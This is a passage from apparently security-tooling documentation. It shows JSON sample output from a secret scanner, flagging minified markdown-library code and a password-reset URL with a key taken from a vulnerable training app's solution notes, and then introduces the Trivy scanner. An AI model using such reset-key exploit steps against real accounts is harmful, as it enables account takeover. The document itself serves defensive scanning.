\",d.subParser(\"hashBlock\")(g,b,c)+h}),a=a.replace(/\u00a80/,\"\"),a=c.converter._dispatch(\"codeBlocks.after\",a,b,c)}),d.subParser(\"codeSpans\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"codeSpans.before\",a,b,c),void 0===a&&(a=\"\"),a=a.replace(/(^|[^\\\\])(`+)([^\\r]*?[^`])\\2(?!`)/gm,function(a,e,f,g){var h=g;return h=h.replace(/^([ \\t]*)/g,\"\"),h=h.replace(/[ \\t]*$/g,\"\"),h=d.subParser(\"encodeCode\")(h,b,c),e+\"\"+h+\"\"}),a=c.converter._dispatch(\"codeSpans.after\",a,b,c)}),d.subParser(\"detab\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"detab.before\",a,b,c),a=a.replace(/\\t(?=\\t)/g,\"    \"),a=a.replace(/\\t/g,\"\u00a8A\u00a8B\"),a=a.replace(/\u00a8B(.+?)\u00a8A/g,function(a,b){for(var c=b,d=4-c.length%4,e=0;e/g,\">\"),a=c.converter._dispatch(\"encodeAmpsAndAngles.after\",a,b,c)}),d.subParser(\"encodeBackslashEscapes\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"encodeBackslashEscapes.before\",a,b,c),a=a.replace(/\\\\(\\\\)/g,d.helper.escapeCharactersCallback),a=a.replace(/\\\\([`*_{}\\[\\]()>#+.!~=|-])/g,d.helper.escapeCharactersCallback),a=c.converter._dispatch(\"encodeBackslashEscapes.after\",a,b,c)}),d.subParser(\"encodeCode\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"encodeCode.before\",a,b,c),a=a.replace(/&/g,\"&\").replace(//g,\">\").replace(/([*_{}\\[\\]\\\\=~-])/g,d.helper.escapeCharactersCallback),a=c.converter._dispatch(\"encodeCode.after\",a,b,c)}),d.subParser(\"escapeSpecialCharsWithinTagAttributes\"",
    "context": {
      "3": "(function(){function a(a){\"use strict\";var b={omitExtraWLInCodeBlocks:{defaultValue:!1,describe:\"Omit the default extra whiteline added to code blocks\",type:\"boolean\"},noHeaderId:{defaultValue:!1,describe:\"Turn on/off generated header id\",type:\"boolean\"},prefixHeaderId:{defaultValue:!1,describe:\"Specify a prefix to generated header ids\",type:\"string\"},ghCompatibleHeaderId:{defaultValue:!1,describe:\"Generate header ids compatible with github style (spaces are replaced with dashes, a bunch of non alphanumeric chars are removed)\",type:\"boolean\"},headerLevelStart:{defaultValue:!1,describe:\"The header blocks level start\",type:\"integer\"},parseImgDimensions:{defaultValue:!1,describe:\"Turn on/off image dimension parsing\",type:\"boolean\"},simplifiedAutoLink:{defaultValue:!1,describe:\"Turn on/off GFM autolink style\",type:\"boolean\"},excludeTrailingPunctuationFromURLs:{defaultValue:!1,describe:\"Excludes trailing punctuation from links generated with autoLinking\",type:\"boolean\"},literalMidWordUnderscores:{defaultValue:!1,describe:\"Parse midword underscores as literal underscores\",type:\"boolean\"},literalMidWordAsterisks:{defaultValue:!1,describe:\"Parse midword asterisks as literal asterisks\",type:\"boolean\"},strikethrough:{defaultValue:!1,describe:\"Turn on/off strikethrough support\",type:\"boolean\"},tables:{defaultValue:!1,describe:\"Turn on/off tables support\",type:\"boolean\"},tablesHeaderId:{defaultValue:!1,describe:\"Add an id to table headers\",type:\"boolean\"},ghCodeBlocks:{defaultValue:!0,describe:\"Turn on/off GFM fenced code blocks support\",type:\"boolean\"},tasklists:{defaultValue:!1,describe:\"Turn on/off GFM tasklist support\",type:\"boolean\"},smoothLivePreview:{defaultValue:!1,describe:\"Prevents weird effects in live previews due to incomplete input\",type:\"boolean\"},smartIndentationFix:{defaultValue:!1,description:\"Tries to smartly fix indentation in es6 strings\",type:\"boolean\"},disableForced4SpacesIndentedSublists:{defaultValue:!1,description:\"Disables the requirement of indenting nested sublists by 4 spaces\",type:\"boolean\"},simpleLineBreaks:{defaultValue:!1,description:\"Parses simple line breaks as 
 (GFM Style)\",type:\"boolean\"},requireSpaceBeforeHeadingText:{defaultValue:!1,description:\"Makes adding a space between `#` and the header text mandatory (GFM Style)\",type:\"boolean\"},ghMentions:{defaultValue:!1,description:\"Enables github @mentions\",type:\"boolean\"},ghMentionsLink:{defaultValue:\"https://github.com/{u}\",description:\"Changes the link generated by @mentions. Only applies if ghMentions option is enabled.\",type:\"string\"},encodeEmails:{defaultValue:!0,description:\"Encode e-mail addresses through the use of Character Entities, transforming ASCII e-mail addresses into its equivalent decimal entities\",type:\"boolean\"},openLinksInNewWindow:{defaultValue:!1,description:\"Open all links in new windows\",type:\"boolean\"}};if(!1===a)return JSON.parse(JSON.stringify(b));var c={};for(var d in b)b.hasOwnProperty(d)&&(c[d]=b[d].defaultValue);return c}function b(a,b){\"use strict\";var c=b?\"Error in \"+b+\" extension->\":\"Error in unnamed extension\",e={valid:!0,error:\"\"};d.helper.isArray(a)||(a=[a]);for(var f=0;f-1,l=new RegExp(b+\"|\"+c,\"g\"+j.replace(/g/g,\"\")),m=new RegExp(b,j.replace(/g/g,\"\")),n=[];do{for(e=0;g=l.exec(a);)if(m.test(g[0]))e++||(f=l.lastIndex,h=f-g[0].length);else if(e&&!--e){i=g.index+g[0].length;var o={left:{start:h,end:f},match:{start:f,end:g.index},right:{start:g.index,end:i},wholeMatch:{start:h,end:i}};if(n.push(o),!k)return n}}while(e&&(l.lastIndex=f));return n};d.helper.matchRecursiveRegExp=function(a,b,c,d){\"use strict\";for(var e=j(a,b,c,d),f=[],g=0;g0){var l=[];0!==h[0].wholeMatch.start&&l.push(a.slice(0,h[0].wholeMatch.start));for(var m=0;m=0?e+(c||0):e},d.helper.splitAtIndex=function(a,b){\"use strict\";if(!d.helper.isString(a))throw\"InvalidArgumentError: first parameter of showdown.helper.regexIndexOf function must be a string\";return[a.substring(0,b),a.substring(b)]},d.helper.encodeEmailAddress=function(a){\"use strict\";var b=[function(a){return\"&#\"+a.charCodeAt(0)+\";\"},function(a){return\"&#x\"+a.charCodeAt(0).toString(16)+\";\"},function(a){return a}];return a=a.replace(/./g,function(a){if(\"@\"===a)a=b[Math.floor(2*Math.random())](a);else{var c=Math.random();a=c>.9?b[2](a):c>.45?b[1](a):b[0](a)}return a})},\"undefined\"==typeof console&&(console={warn:function(a){\"use strict\";alert(a)},log:function(a){\"use strict\";alert(a)},error:function(a){\"use strict\";throw a}}),d.helper.regexes={asteriskAndDash:/([*_])/g},d.Converter=function(a){\"use strict\";function c(a,c){if(c=c||null,d.helper.isString(a)){if(a=d.helper.stdExtName(a),c=a,d.extensions[a])return console.warn(\"DEPRECATION WARNING: \"+a+\" is an old extension that uses a deprecated loading method.Please inform the developer that the extension should be updated!\"),void e(d.extensions[a],a);if(d.helper.isUndefined(f[a]))throw Error('Extension \"'+a+'\" could not be loaded. It was either not found or is not a valid extension.');a=f[a]}\"function\"==typeof a&&(a=a()),d.helper.isArray(a)||(a=[a]);var g=b(a,c);if(!g.valid)throw Error(g.error);for(var h=0;h? ?(['\"].*['\"])?\\)$/m)>-1)g=\"\";else if(!g){if(f||(f=e.toLowerCase().replace(/ ?\\n/g,\" \")),g=\"#\"+f,d.helper.isUndefined(c.gUrls[f]))return a;g=c.gUrls[f],d.helper.isUndefined(c.gTitles[f])||(j=c.gTitles[f])}g=g.replace(d.helper.regexes.asteriskAndDash,d.helper.escapeCharactersCallback);var k='\"+e+\"\"};return a=a.replace(/\\[((?:\\[[^\\]]*]|[^\\[\\]])*)] ?(?:\\n *)?\\[(.*?)]()()()()/g,e),a=a.replace(/\\[((?:\\[[^\\]]*]|[^\\[\\]])*)]()[ \\t]*\\([ \\t]?<([^>]*)>(?:[ \\t]*(([\"'])([^\"]*?)\\5))?[ \\t]?\\)/g,e),a=a.replace(/\\[((?:\\[[^\\]]*]|[^\\[\\]])*)]()[ \\t]*\\([ \\t]??(?:[ \\t]*(([\"'])([^\"]*?)\\5))?[ \\t]?\\)/g,e),a=a.replace(/\\[([^\\[\\]]+)]()()()()()/g,e),b.ghMentions&&(a=a.replace(/(^|\\s)(\\\\)?(@([a-z\\d\\-]+))(?=[.!?;,[\\]()]|\\s|$)/gim,function(a,c,e,f,g){if(\"\\\\\"===e)return c+f;if(!d.helper.isString(b.ghMentionsLink))throw new Error(\"ghMentionsLink option must be a string\");return c+''+f+\"\"})),a=c.converter._dispatch(\"anchors.after\",a,b,c)});var k=/\\b(((https?|ftp|dict):\\/\\/|www\\.)[^'\">\\s]+\\.[^'\">\\s]+)()(?=\\s|$)(?![\"<>])/gi,l=/\\b(((https?|ftp|dict):\\/\\/|www\\.)[^'\">\\s]+\\.[^'\">\\s]+?)([.!?,()\\[\\]]?)(?=\\s|$)(?![\"<>])/gi,m=/<(((https?|ftp|dict):\\/\\/|www\\.)[^'\">\\s]+)()>/gi,n=/(^|\\s)(?:mailto:)?([A-Za-z0-9!#$%&'*+-\\/=?^_`{|}~.]+@[-a-z0-9]+(\\.[-a-z0-9]+)*\\.[a-z]+)(?=$|\\s)/gim,o=/<()(?:mailto:)?([-.\\w]+@[-a-z0-9]+(\\.[-a-z0-9]+)*\\.[a-z]+)>/gi,p=function(a){\"use strict\";return function(b,c,d,e,f){var g=c,h=\"\",i=\"\";return/^www\\./i.test(c)&&(c=c.replace(/^www\\./i,\"http://www.\")),a.excludeTrailingPunctuationFromURLs&&f&&(h=f),a.openLinksInNewWindow&&(i=' target=\"\u00a8E95Eblank\"'),'\"+g+\"\"+h}},q=function(a,b){\"use strict\";return function(c,e,f){var g=\"mailto:\";return e=e||\"\",f=d.subParser(\"unescapeSpecialChars\")(f,a,b),a.encodeEmails?(g=d.helper.encodeEmailAddress(g+f),f=d.helper.encodeEmailAddress(f)):g+=f,e+''+f+\"\"}};d.subParser(\"autoLinks\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"autoLinks.before\",a,b,c),a=a.replace(m,p(b)),a=a.replace(o,q(b,c)),a=c.converter._dispatch(\"autoLinks.after\",a,b,c)}),d.subParser(\"simplifiedAutoLinks\",function(a,b,c){\"use strict\";return b.simplifiedAutoLink?(a=c.converter._dispatch(\"simplifiedAutoLinks.before\",a,b,c),a=b.excludeTrailingPunctuationFromURLs?a.replace(l,p(b)):a.replace(k,p(b)),a=a.replace(n,q(b,c)),a=c.converter._dispatch(\"simplifiedAutoLinks.after\",a,b,c)):a}),d.subParser(\"blockGamut\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"blockGamut.before\",a,b,c),a=d.subParser(\"blockQuotes\")(a,b,c),a=d.subParser(\"headers\")(a,b,c),a=d.subParser(\"horizontalRule\")(a,b,c),a=d.subParser(\"lists\")(a,b,c),a=d.subParser(\"codeBlocks\")(a,b,c),a=d.subParser(\"tables\")(a,b,c),a=d.subParser(\"hashHTMLBlocks\")(a,b,c),a=d.subParser(\"paragraphs\")(a,b,c),a=c.converter._dispatch(\"blockGamut.after\",a,b,c)}),d.subParser(\"blockQuotes\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"blockQuotes.before\",a,b,c),a=a.replace(/((^ {0,3}>[ \\t]?.+\\n(.+\\n)*\\n*)+)/gm,function(a,e){var f=e;return f=f.replace(/^[ \\t]*>[ \\t]?/gm,\"\u00a80\"),f=f.replace(/\u00a80/g,\"\"),f=f.replace(/^[ \\t]+$/gm,\"\"),f=d.subParser(\"githubCodeBlocks\")(f,b,c),f=d.subParser(\"blockGamut\")(f,b,c),f=f.replace(/(^|\\n)/g,\"$1  \"),f=f.replace(/(\\s*
[^\\r]+?<\\/pre>)/gm,function(a,b){var c=b;return c=c.replace(/^  /gm,\"\u00a80\"),c=c.replace(/\u00a80/g,\"\")}),d.subParser(\"hashBlock\")(\"
\\n\"+f+\"\\n
\",b,c)}),a=c.converter._dispatch(\"blockQuotes.after\",a,b,c)}),d.subParser(\"codeBlocks\",function(a,b,c){\"use strict\";a=c.converter._dispatch(\"codeBlocks.before\",a,b,c),a+=\"\u00a80\";var e=/(?:\\n\\n|^)((?:(?:[ ]{4}|\\t).*\\n+)+)(\\n*[ ]{0,3}[^ \\t\\n]|(?=\u00a80))/g;return a=a.replace(e,function(a,e,f){var g=e,h=f,i=\"\\n\";return g=d.subParser(\"outdent\")(g,b,c),g=d.subParser(\"encodeCode\")(g,b,c),g=d.subParser(\"detab\")(g,b,c),g=g.replace(/^\\n+/g,\"\"),g=g.replace(/\\n+$/g,\"\"),b.omitExtraWLInCodeBlocks&&(i=\"\"),g=\"
\"+g+i+\"
\",d.subParser(\"hashBlock\")(g,b,c)+h}),a=a.replace(/\u00a80/,\"\"),a=c.converter._dispatch(\"codeBlocks.after\",a,b,c)}),d.subParser(\"codeSpans\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"codeSpans.before\",a,b,c),void 0===a&&(a=\"\"),a=a.replace(/(^|[^\\\\])(`+)([^\\r]*?[^`])\\2(?!`)/gm,function(a,e,f,g){var h=g;return h=h.replace(/^([ \\t]*)/g,\"\"),h=h.replace(/[ \\t]*$/g,\"\"),h=d.subParser(\"encodeCode\")(h,b,c),e+\"\"+h+\"\"}),a=c.converter._dispatch(\"codeSpans.after\",a,b,c)}),d.subParser(\"detab\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"detab.before\",a,b,c),a=a.replace(/\\t(?=\\t)/g,\"    \"),a=a.replace(/\\t/g,\"\u00a8A\u00a8B\"),a=a.replace(/\u00a8B(.+?)\u00a8A/g,function(a,b){for(var c=b,d=4-c.length%4,e=0;e/g,\">\"),a=c.converter._dispatch(\"encodeAmpsAndAngles.after\",a,b,c)}),d.subParser(\"encodeBackslashEscapes\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"encodeBackslashEscapes.before\",a,b,c),a=a.replace(/\\\\(\\\\)/g,d.helper.escapeCharactersCallback),a=a.replace(/\\\\([`*_{}\\[\\]()>#+.!~=|-])/g,d.helper.escapeCharactersCallback),a=c.converter._dispatch(\"encodeBackslashEscapes.after\",a,b,c)}),d.subParser(\"encodeCode\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"encodeCode.before\",a,b,c),a=a.replace(/&/g,\"&\").replace(//g,\">\").replace(/([*_{}\\[\\]\\\\=~-])/g,d.helper.escapeCharactersCallback),a=c.converter._dispatch(\"encodeCode.after\",a,b,c)}),d.subParser(\"escapeSpecialCharsWithinTagAttributes\",function(a,b,c){\"use strict\";a=c.converter._dispatch(\"escapeSpecialCharsWithinTagAttributes.before\",a,b,c);var e=/(<[a-z\\/!$](\"[^\"]*\"|'[^']*'|[^'\">])*>|)/gi;return a=a.replace(e,function(a){return a.replace(/(.)<\\/?code>(?=.)/g,\"$1`\").replace(/([\\\\`*_~=|])/g,d.helper.escapeCharactersCallback)}),a=c.converter._dispatch(\"escapeSpecialCharsWithinTagAttributes.after\",a,b,c)}),d.subParser(\"githubCodeBlocks\",function(a,b,c){\"use strict\";return b.ghCodeBlocks?(a=c.converter._dispatch(\"githubCodeBlocks.before\",a,b,c),a+=\"\u00a80\",a=a.replace(/(?:^|\\n)```(.*)\\n([\\s\\S]*?)\\n```/g,function(a,e,f){var g=b.omitExtraWLInCodeBlocks?\"\":\"\\n\";return f=d.subParser(\"encodeCode\")(f,b,c),f=d.subParser(\"detab\")(f,b,c),f=f.replace(/^\\n+/g,\"\"),f=f.replace(/\\n+$/g,\"\"),f=\"
\"+f+g+\"
\",f=d.subParser(\"hashBlock\")(f,b,c),\"\\n\\n\u00a8G\"+(c.ghCodeBlocks.push({text:a,codeblock:f})-1)+\"G\\n\\n\"}),a=a.replace(/\u00a80/,\"\"),c.converter._dispatch(\"githubCodeBlocks.after\",a,b,c)):a}),d.subParser(\"hashBlock\",function(a,b,c){\"use strict\";return a=c.converter._dispatch(\"hashBlock.before\",a,b,c),a=a.replace(/(^\\n+|\\n+$)/g,\"\"),a=\"\\n\\n\u00a8K\"+(c.gHtmlBlocks.push(a)-1)+\"K\\n\\n\",a=c.converter._dispatch(\"hashBlock.after\",a,b,c)}),d.subParser(\"hashCodeTags\",function(a,b,c){\"use strict\";a=c.converter._dispatch(\"hashCodeTags.before\",a,b,c);var e=function(a,e,f,g){var h=f+d.subParser(\"encodeCode\")(e,b,c)+g;return\"\u00a8C\"+(c.gHtmlSpans.push(h)-1)+\"C\"};return a=d.helper.replaceRecursiveRegExp(a,e,\"]*>\",\"\",\"gim\"),a=c.converter._dispatch(\"hashCodeTags.after\",a,b,c)}),d.subParser(\"hashElement\",function(a,b,c){\"use strict\";return function(a,b){var d=b;return d=d.replace(/\\n\\n/g,\"\\n\"),d=d.replace(/^\\n/,\"\"),d=d.replace(/\\n+$/g,\"\"),d=\"\\n\\n\u00a8K\"+(c.gHtmlBlocks.push(d)-1)+\"K\\n\\n\"}}),d.subParser(\"hashHTMLBlocks\",function(a,b,c){\"use strict\";a=c.converter._dispatch(\"hashHTMLBlocks.before\",a,b,c);for(var e=[\"pre\",\"div\",\"h1\",\"h2\",\"h3\",\"h4\",\"h5\",\"h6\",\"blockquote\",\"table\",\"dl\",\"ol\",\"ul\",\"script\",\"noscript\",\"form\",\"fieldset\",\"iframe\",\"math\",\"style\",\"section\",\"header\",\"footer\",\"nav\",\"article\",\"aside\",\"address\",\"audio\",\"canvas\",\"figure\",\"hgroup\",\"output\",\"video\",\"p\"],f=function(a,b,d,e){var f=a;return-1!==d.search(/\\bmarkdown\\b/)&&(f=d+c.converter.makeHtml(b)+e),\"\\n\\n\u00a8K\"+(c.gHtmlBlocks.push(f)-1)+\"K\\n\\n\"},g=0;g]*>\",\"im\"),j=\"<\"+e[g]+\"\\\\b[^>]*>\",k=\"\";-1!==(h=d.helper.regexIndexOf(a,i));){var l=d.helper.splitAtIndex(a,h),m=d.helper.replaceRecursiveRegExp(l[1],f,j,k,\"im\");if(m===l[1])break;a=l[0].concat(m)}return a=a.replace(/(\\n {0,3}(<(hr)\\b([^<>])*?\\/?>)[ \\t]*(?=\\n{2,}))/g,d.subParser(\"hashElement\")(a,b,c)),a=d.helper.replaceRecursiveRegExp(a,function(a){return\"\\n\\n\u00a8K\"+(c.gHtmlBlocks.push(a)-1)+\"K\\n\\n\"},\"^ {0,3}\\x3c!--\",\"--\\x3e\",\"gm\"),a=a.replace(/(?:\\n\\n)( {0,3}(?:<([?%])[^\\r]*?\\2>)[ \\t]*(?=\\n{2,}))/g,d.subParser(\"hashElement\")(a,b,c)),a=c.converter._dispatch(\"hashHTMLBlocks.after\",a,b,c)}),d.subParser(\"hashHTMLSpans\",function(a,b,c){\"use strict\";function d(a){return\"\u00a8C\"+(c.gHtmlSpans.push(a)-1)+\"C\"}return a=c.converter._dispatch(\"hashHTMLSpans.before\",a,b,c),a=a.replace(/<[^>]+?\\/>/gi,function(a){return d(a)}),a=a.replace(/<([^>]+?)>[\\s\\S]*?<\\/\\1>/g,function(a){return d(a)}),a=a.replace(/<([^>]+?)\\s[^>]+?>[\\s\\S]*?<\\/\\1>/g,function(a){return d(a)}),a=a.replace(/<[^>]+?>/gi,function(a){return d(a)}),a=c.converter._dispatch(\"hashHTMLSpans.after\",a,b,c)}),d.subParser(\"unhashHTMLSpans\",function(a,b,c){\"use strict\";a=c.converter._dispatch(\"unhashHTMLSpans.before\",a,b,c);for(var d=0;d]*>\\\\s*]*>\",\"^ {0,3}\\\\s*
\",\"gim\"),a=c.converter._dispatch(\"hashPreCodeTags.after\",a,b,c)}),d.subParser(\"headers\",function(a,b,c){\"use strict\";function e(a){var e;if(b.customizedHeaderId){var f=a.match(/\\{([^{]+?)}\\s*$/);f&&f[1]&&(a=f[1])}return e=d.helper.isString(b.prefixHeaderId)?b.prefixHeaderId+a:!0===b.prefixHeaderId?\"section \"+a:a,e=g?e.replace(/ /g,\"-\").replace(/&/g,\"\").replace(/\u00a8T/g,\"\").replace(/\u00a8D/g,\"\").replace(/[&+$,\\/:;=?@\"#{}|^\u00a8~\\[\\]`\\\\*)(%.!'<>]/g,\"\").toLowerCase():e.replace(/[^\\w]/g,\"\").toLowerCase(),c.hashLinkCounts[e]?e=e+\"-\"+c.hashLinkCounts[e]++:c.hashLinkCounts[e]=1,e}a=c.converter._dispatch(\"headers.before\",a,b,c);var f=isNaN(parseInt(b.headerLevelStart))?1:parseInt(b.headerLevelStart),g=b.ghCompatibleHeaderId,h=b.smoothLivePreview?/^(.+)[ \\t]*\\n={2,}[ \\t]*\\n+/gm:/^(.+)[ \\t]*\\n=+[ \\t]*\\n+/gm,i=b.smoothLivePreview?/^(.+)[ \\t]*\\n-{2,}[ \\t]*\\n+/gm:/^(.+)[ \\t]*\\n-+[ \\t]*\\n+/gm;a=a.replace(h,function(a,g){var h=d.subParser(\"spanGamut\")(g,b,c),i=b.noHeaderId?\"\":' id=\"'+e(g)+'\"',j=f,k=\"\"+h+\"\";return d.subParser(\"hashBlock\")(k,b,c)}),a=a.replace(i,function(a,g){var h=d.subParser(\"spanGamut\")(g,b,c),i=b.noHeaderId?\"\":' id=\"'+e(g)+'\"',j=f+1,k=\"\"+h+\"\";return d.subParser(\"hashBlock\")(k,b,c)});var j=b.requireSpaceBeforeHeadingText?/^(#{1,6})[ \\t]+(.+?)[ \\t]*#*\\n+/gm:/^(#{1,6})[ \\t]*(.+?)[ \\t]*#*\\n+/gm;return a=a.replace(j,function(a,g,h){var i=h;b.customizedHeaderId&&(i=h.replace(/\\s?\\{([^{]+?)}\\s*$/,\"\"));var j=d.subParser(\"spanGamut\")(i,b,c),k=b.noHeaderId?\"\":' id=\"'+e(h)+'\"',l=f-1+g.length,m=\"\"+j+\"\";return d.subParser(\"hashBlock\")(m,b,c)}),a=c.converter._dispatch(\"headers.after\",a,b,c)}),d.subParser(\"horizontalRule\",function(a,b,c){\"use strict\";a=c.converter._dispatch(\"horizontalRule.before\",a,b,c);var e=d.subParser(\"hashBlock\")(\"
\",b,c);return a=a.replace(/^ {0,2}( ?-){3,}[ \\t]*$/gm,e),a=a.replace(/^ {0,2}( ?\\*){3,}[ \\t]*$/gm,e),a=a.replace(/^ {0,2}( ?_){3,}[ \\t]*$/gm,e),a=c.converter._dispatch(\"horizontalRule.after\",a,b,c)}),d.subParser(\"images\",function(a,b,c){\"use strict\";function e(a,b,e,f,g,h,i,j){var k=c.gUrls,l=c.gTitles,m=c.gDimensions;if(e=e.toLowerCase(),j||(j=\"\"),a.search(/\\(? ?(['\"].*['\"])?\\)$/m)>-1)f=\"\";else if(\"\"===f||null===f){if(\"\"!==e&&null!==e||(e=b.toLowerCase().replace(/ ?\\n/g,\" \")),f=\"#\"+e,d.helper.isUndefined(k[e]))return a;f=k[e],d.helper.isUndefined(l[e])||(j=l[e]),d.helper.isUndefined(m[e])||(g=m[e].width,h=m[e].height)}b=b.replace(/\"/g,\""\").replace(d.helper.regexes.asteriskAndDash,d.helper.escapeCharactersCallback),f=f.replace(d.helper.regexes.asteriskAndDash,d.helper.escapeCharactersCallback);var n='\"'+b+'\"';return\"}a=c.converter._dispatch(\"images.before\",a,b,c);var f=/!\\[([^\\]]*?)][ \\t]*()\\([ \\t]??(?: =([*\\d]+[A-Za-z%]{0,4})x([*\\d]+[A-Za-z%]{0,4}))?[ \\t]*(?:([\"'])([^\"]*?)\\6)?[ \\t]?\\)/g,g=/!\\[([^\\]]*?)][ \\t]*()\\([ \\t]?<([^>]*)>(?: =([*\\d]+[A-Za-z%]{0,4})x([*\\d]+[A-Za-z%]{0,4}))?[ \\t]*(?:(?:([\"'])([^\"]*?)\\6))?[ \\t]?\\)/g,h=/!\\[([^\\]]*?)] ?(?:\\n *)?\\[(.*?)]()()()()()/g,i=/!\\[([^\\[\\]]+)]()()()()()/g;return a=a.replace(h,e),a=a.replace(g,e),a=a.replace(f,e),a=a.replace(i,e),a=c.converter._dispatch(\"images.after\",a,b,c)}),d.subParser(\"italicsAndBold\",function(a,b,c){\"use strict\";function e(a,e,f){return b.simplifiedAutoLink&&(a=d.subParser(\"simplifiedAutoLinks\")(a,b,c)),e+a+f}return a=c.converter._dispatch(\"italicsAndBold.before\",a,b,c),b.literalMidWordUnderscores?(a=a.replace(/\\b___(\\S[\\s\\S]*)___\\b/g,function(a,b){return e(b,\"\",\"\")}),a=a.replace(/\\b__(\\S[\\s\\S]*)__\\b/g,function(a,b){return e(b,\"\",\"\")}),a=a.replace(/\\b_(\\S[\\s\\S]*?)_\\b/g,function(a,b){return e(b,\"\",\"\")})):(a=a.replace(/___(\\S[\\s\\S]*?)___/g,function(a,b){return/\\S$/.test(b)?e(b,\"\",\"\"):a}),a=a.replace(/__(\\S[\\s\\S]*?)__/g,function(a,b){return/\\S$/.test(b)?e(b,\"\",\"\"):a}),a=a.replace(/_([^\\s_][\\s\\S]*?)_/g,function(a,b){return/\\S$/.test(b)?e(b,\"\",\"\"):a})),b.literalMidWordAsterisks?(a=a.trim().replace(/(?:^| +)\\*{3}(\\S[\\s\\S]*?)\\*{3}(?: +|$)/g,function(a,b){return e(b,\" \",\" \")}),a=a.trim().replace(/(?:^| +)\\*{2}(\\S[\\s\\S]*?)\\*{2}(?: +|$)/g,function(a,b){return e(b,\" \",\" \")}),a=a.trim().replace(/(?:^| +)\\*{1}(\\S[\\s\\S]*?)\\*{1}(?: +|$)/g,function(a,b){return e(b,\" \",\"\"+(\" \"===a.slice(-1)?\" \":\"\"))})):(a=a.replace(/\\*\\*\\*(\\S[\\s\\S]*?)\\*\\*\\*/g,function(a,b){return/\\S$/.test(b)?e(b,\"\",\"\"):a}),a=a.replace(/\\*\\*(\\S[\\s\\S]*?)\\*\\*/g,function(a,b){return/\\S$/.test(b)?e(b,\"\",\"\"):a}),a=a.replace(/\\*([^\\s*][\\s\\S]*?)\\*/g,function(a,b){return/\\S$/.test(b)?e(b,\"\",\"\"):a})),a=c.converter._dispatch(\"italicsAndBold.after\",a,b,c)}),d.subParser(\"lists\",function(a,b,c){\"use strict\";function e(a,e){c.gListLevel++,a=a.replace(/\\n{2,}$/,\"\\n\"),a+=\"\u00a80\";var f=/(\\n)?(^ {0,3})([*+-]|\\d+[.])[ \\t]+((\\[(x|X| )?])?[ \\t]*[^\\r]+?(\\n{1,2}))(?=\\n*(\u00a80| {0,3}([*+-]|\\d+[.])[ \\t]+))/gm,g=/\\n[ \\t]*\\n(?!\u00a80)/.test(a);return b.disableForced4SpacesIndentedSublists&&(f=/(\\n)?(^ {0,3})([*+-]|\\d+[.])[ \\t]+((\\[(x|X| )?])?[ \\t]*[^\\r]+?(\\n{1,2}))(?=\\n*(\u00a80|\\2([*+-]|\\d+[.])[ \\t]+))/gm),a=a.replace(f,function(a,e,f,h,i,j,k){k=k&&\"\"!==k.trim();var l=d.subParser(\"outdent\")(i,b,c),m=\"\";return j&&b.tasklists&&(m=' class=\"task-list-item\" style=\"list-style-type: none;\"',l=l.replace(/^[ \\t]*\\[(x|X| )?]/m,function(){var a='\"})),l=l.replace(/^([-*+]|\\d\\.)[ \\t]+[\\S\\n ]*/g,function(a){return\"\u00a8A\"+a}),e||l.search(/\\n{2,}/)>-1?(l=d.subParser(\"githubCodeBlocks\")(l,b,c),l=d.subParser(\"blockGamut\")(l,b,c)):(l=d.subParser(\"lists\")(l,b,c),l=l.replace(/\\n$/,\"\"),l=d.subParser(\"hashHTMLBlocks\")(l,b,c),l=l.replace(/\\n\\n+/g,\"\\n\\n\"),l=l.replace(/\\n\\n/g,\"\u00a8B\"),l=g?d.subParser(\"paragraphs\")(l,b,c):d.subParser(\"spanGamut\")(l,b,c),l=l.replace(/\u00a8B/g,\"\\n\\n\")),l=l.replace(\"\u00a8A\",\"\"),l=\"\"+l+\"\\n\"}),a=a.replace(/\u00a80/g,\"\"),c.gListLevel--,e&&(a=a.replace(/\\s+$/,\"\")),a}function f(a,c,d){var f=b.disableForced4SpacesIndentedSublists?/^ ?\\d+\\.[ \\t]/gm:/^ {0,3}\\d+\\.[ \\t]/gm,g=b.disableForced4SpacesIndentedSublists?/^ ?[*+-][ \\t]/gm:/^ {0,3}[*+-][ \\t]/gm,h=\"ul\"===c?f:g,i=\"\";return-1!==a.search(h)?function a(b){var j=b.search(h);-1!==j?(i+=\"\\n<\"+c+\">\\n\"+e(b.slice(0,j),!!d)+\"\\n\",c=\"ul\"===c?\"ol\":\"ul\",h=\"ul\"===c?f:g,a(b.slice(j))):i+=\"\\n<\"+c+\">\\n\"+e(b,!!d)+\"\\n\"}(a):i=\"\\n<\"+c+\">\\n\"+e(a,!!d)+\"\\n\",i}"
    },
    "id": "7b16e327-201b-33bf-b7f4-89291bee34d8",
    "branch": null,
    "message": null,
    "author": null,
    "commit": null,
    "date": null
  },
  {
    "rule": {
      "id": "high-entropy",
      "message": "High Entropy",
      "severity": "MEDIUM"
    },
    "path": "docs/solution/a2-broken-authentication-and-session-management.md",
    "line": "8",
    "secret": "abpa0b6ff456806tre66nhbb93aaa9c4",
    "context": {
      "8": "http://dvja:8080/resetPasswordExecute.action?login=john.doe&key=abba0b6ff456806bab66baed93e6d9c4"
    },
    "id": "e874dc5d-5a3a-3c00-82f2-83c18c74cba1",
    "branch": null,
    "message": null,
    "author": null,
    "commit": null,
    "date": null
  }
]
````


# Image and code dependency Scanners

This section contains information describing scanners specialized in analyzing the **security of Docker images** and **dependencies**.


# Trivy

Find vulnerabilities, misconfigurations, secrets, SBOM in containers, Kubernetes, code repositories, clouds and more

**Auditor Job Name**: Trivy Code Dependencies, Trivy Image Dependencies\
**Auditor image:** \
`registry.gitlab.com/whitespots-public/security-images/trivy:0.51.4`\
**AppSec Portal Importer Name**: Trivy Scan

Trivy is a versatile security scanning tool designed to identify potential vulnerabilities in both **container images** and **code repositories** (two operating modes). It offers comprehensive coverage of potential security issues, including known vulnerabilities in operating system packages and application dependencies.

